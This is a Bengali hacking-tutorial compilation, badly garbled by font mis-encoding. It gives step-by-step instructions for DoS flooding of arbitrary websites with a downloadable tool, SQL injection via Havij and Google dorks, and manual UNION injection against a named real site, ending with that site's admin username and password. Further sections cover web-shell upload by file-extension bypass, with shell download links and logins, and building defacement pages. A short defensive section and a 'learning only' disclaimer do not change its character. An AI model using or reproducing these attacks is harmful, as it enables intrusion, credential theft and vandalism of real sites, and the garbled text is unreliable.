এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ
থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক
এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা
এখন অকতন মকতদ গাচছয গতচছয তায সথচছক একট কতিারী চছয থাচছকন এফং বাগয খাকতনক টা পরনন চছয থাকচছর অকতন উরচছটাআ কতছনতাআকাযী সক কতটিচছয তিা ফাকতনচছয কতদচছয াচছযন
কতকনত মকতদ অনাচছক ১ জচছনয জাযগা সত ১০ -১২ জন অকরভন কচছয
১৫ কতদন য াাতার সথচছক ছািা াচছফন ঠিক এযকভ ফযাায আ চছে DDoS DoS এয ভত কচছযআ কাজ কচছয কতকনত DDoS এ চছনক সফী যাটাকায একাচছথ কাজ কচছয পরাপর বযাফ
অভায কথাফাতব া কতক একট উদভট রাগচছছ S এতখন মা ফররাভ তা কতক দচছফবাধয রাগচছছ তাচছর কতনচছচয কতচতরগচছরা সদখন ফচছঝ জাচছফন কতকবাচছফ DoS এফং DDoS কতকবাচছফকাজ কচছয
একটা াধাযণ কাচছনকন কাজ কচছয এআ বাচছফ কতনচছচয কতচচছতরয ভত কচছয
কতকনত DoS যাটাক টা চছে কতনচছচয ভত
অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত
D0S DDoS attack এয কাযন কতক
২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ
অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক
১) যাকাযচছদয কভতরফ
খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ
ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন
যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক
থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয
থফা কতনতানতআ পরযাকটি এয উচছেচছ
২) sysadmin এয বার ভতরফ
নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ
াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ
কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন
DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায
DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয
ড যাটাক এয কভন কামবপরণারী গচছরা চছে -
কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা
কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা
াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ
--------------------------------------------------------------------------------------------------------------------------------------
----------------------
অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ
Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত
পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত
এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন
এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন
রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ
Apache 1x Apache 2x
GoAhead WebServer
---------------------------------------------------------------------------------------------------------------------------------------
---------------------
এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ
পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন
এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন
পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন
httpwwwmediafirecomfamiivi799a9459
পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as
administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ
১ URL ফচছকস সম সকান াআচছটয নাভ সরখন
(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)
২ lock on কতচছরকট করন
৩ সদখচছফন অআকত রক চছয কতগচছযচছছ
৪ কতচতর এয ভত কচছয http কতচছরকট করন
৫Threads ফকস এ 1000 টাআ করন
৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন
৭ ফলাকতডং শর চছয মাচছফ
------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক
ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন
১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন
netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n
মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ
তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad
এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip
মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন
apf -d xxxxxxxx
মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন
csf -d xxxxxxxx
অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন
iptables -I INPUT 1 -s -j DROP xxxxxxxx
উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ
তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না
এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয
এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন
াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ
চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ
পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক
এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না
সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না
অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)
অটিব চছকর 150543 চছত সজচছন কতনন
httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech
াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন
উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]
এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক
এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ
কাচছনকটিকতবটি ককতভচছয কতদন
অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায
এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP
এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা
এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile
পাযাযযার ফযফায করন
উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন
এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন
এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন
httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom
এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey
সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ
heartsheartshearts Havij
SQLi টিউমটাসরো heartsheartshearts
Download
Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij
পরথচছভ GoogleCom এ মান
এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন
inurlphpid=
তাচছর চছনকগচছরা পরাপর সদখাচছফ
এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i
সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo
এফায সম সকান একটি াআচছট পরচছফ করন
এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ
httpwwwpaulprescottcomthemephpid=10
অভযা এআ াআটটিচছক টাচছগবট কযরাভ
এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10
এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান
এফায এনটায কতদন
এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ
এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ
এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ
মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ
Current DB XXXX
কতনচছচয ছকতফটি সদখন
এফায ―Tables tab এ মান
এফায ―Get DBlsquos এ কতিক করন
এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema
দটা পাআর
―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক
শধ ভাতর ―paul_third কতচছরকট করন
এফায ―Get Tables এ কতিক করন
তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন
এখন অভযা administration panel টি যাক কযচছত সচিা কযফ
এখন ―admin table টি সচক করন
এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না
এফায ―Get Columns ফাটচছন কতিক করন
তাচছর কতনচছচয ভচছতা অচছফ
এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)
এফায ―Get Data টযাচছফ কতিক করন
তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ
অফায ―Find Admin টযাচছফ কতিক করন
তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ
এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয
তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না
ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন
এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ
তাচছর অভযা Administration Panel সরাভ
এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন
মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade
সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা
তাচছর কথা না ফাকতযচছয শর ককতয
পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ
এয জনয অভযা dork use কযফ
inurlindexphpid= inurltrainersphpid=
inurlbuyphpcategory= inurlarticlephpID=
inurlplay_oldphpid= inurldeclaration_morephpdecl_id=
inurlPageid= inurlgamesphpid=
inurlpagephpfile= inurlnewsDetailphpid=
inurlgalleryphpid=
এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয
8500 SQL dorks list
httppastebincomdzknXjgP or
httppastebincomayV6tNS2
পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ
inurlnews-and-eventsphpid=
এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ
সমভন httpwwweastodissaacinnews-and-eventsphpid=22
ছকতফঃ
পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য
এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা
এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ
httpwwweastodissaacinnews-and-eventsphpid=22
মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable
সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the
right syntax to use near rdquorsquo at line 1Prime
ছকতফঃ
এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ
এখাচছন অভাচছদয বানবাফর াআট
httpwwweastodissaacinnews-and-eventsphpid=22
মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+
এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ
এখন 1 কতনচছয সদচছখন
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--
না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না
অফায 2 কতদচছয সচিা ককতয
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--
ছকতফঃ
না এফায ডাটা কতভ কযচছতচছছ না
এফাচছফ 345 কচছয 7 মবনত সগরাভ
8 এ সগচছর চছযা াআট SQL আযয সদখায
(চছনক ভয সদখা মায
wwwsitecomindexphpid=1 order 999ndash [ no error ]
থবাৎ order by 999 কতদচছর সকান error সদখায না
এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ
তাচছর িণব কতরেটি চছফ
wwwsitecomindexphpid=1prime order by 999ndash+
এফায সচছজ error সদখাচছফ
ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--
ছকতফঃ
আযয এযকচছভয চছত াচছয
Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo
থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি
এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ
কভানড টি
+union+select+1234567--
তাচছর কতরংক টি দািাচছফ
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--
ছকতফঃ
( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (
এখন অকতন বানবাফর করাভ সদখচছত াচছফন
এআ াআচছটয বানবাফর করাভ 23সদখাচছফ
এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা
এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা
এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ
এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--
ছকতফঃ
এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা
এটায বাবন 5168-community
বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন
এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ
এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য
+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা
তাচছর কতরংকটি দািাচছরা
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem
a=database()--
কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন
ছকতফঃ
এআ াআচছটয সটকতফর গচছরা র
est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio
nest_placementrecord
এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ
এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায
একভাতর est_admin এডকতভন সটকতফর ভচছন য
ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ
কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ
এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ
এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায
httpsaddonsmozillaorgen-USfirefoxaddonhackbar
এখন যাকফায টি চছন কচছযন F9 সচচছ
এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন
ছকতফঃ
নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন
ছকতফঃ
এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH
AR(101 115 116 95 97 100 109 105 110)--
ছকতফঃ
অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন
সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ
uiduseridpasswordemailidsignaturelast_login
এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা
এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ
এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা
সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন
করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ
এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ
এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ
+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--
ছকতফঃ
সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন
এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013
আউজাযচছভভ trustadmin
াযাডব isti$$952013
এখন সল কাজ চছে এডকতভন সচছনর সফয কযা
এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ
মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন
-httpscansubhashdasyamcomadmin-panel-finderphp
অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয
অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন
তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন
httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player
কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না
অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না
কতরচছখচছছনঃ ফারক িঅহমমদ
অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ
াগমবিঃ
Mozilla Firox ভকতজরা পাযাযপকস
Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক
httpsaddonsmozillaorgenfirefoxaddonlive-http-headers
shell সম সকান সর ফযফায কযচছত াচছযন
কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell
httpwwwpastebucketcom19852
or
wwwmediafirecom64fjdlvzo9zhrra
shell username and password
username I-47
password I-47
তাহম এেি শর কসর
১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর
করণ
২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg
৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ
৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন
৫save click কচছযন
৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন
১এখন কতিক করন 47phpjpgচছয কতিক করণ
২ Reply ফাটন
৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
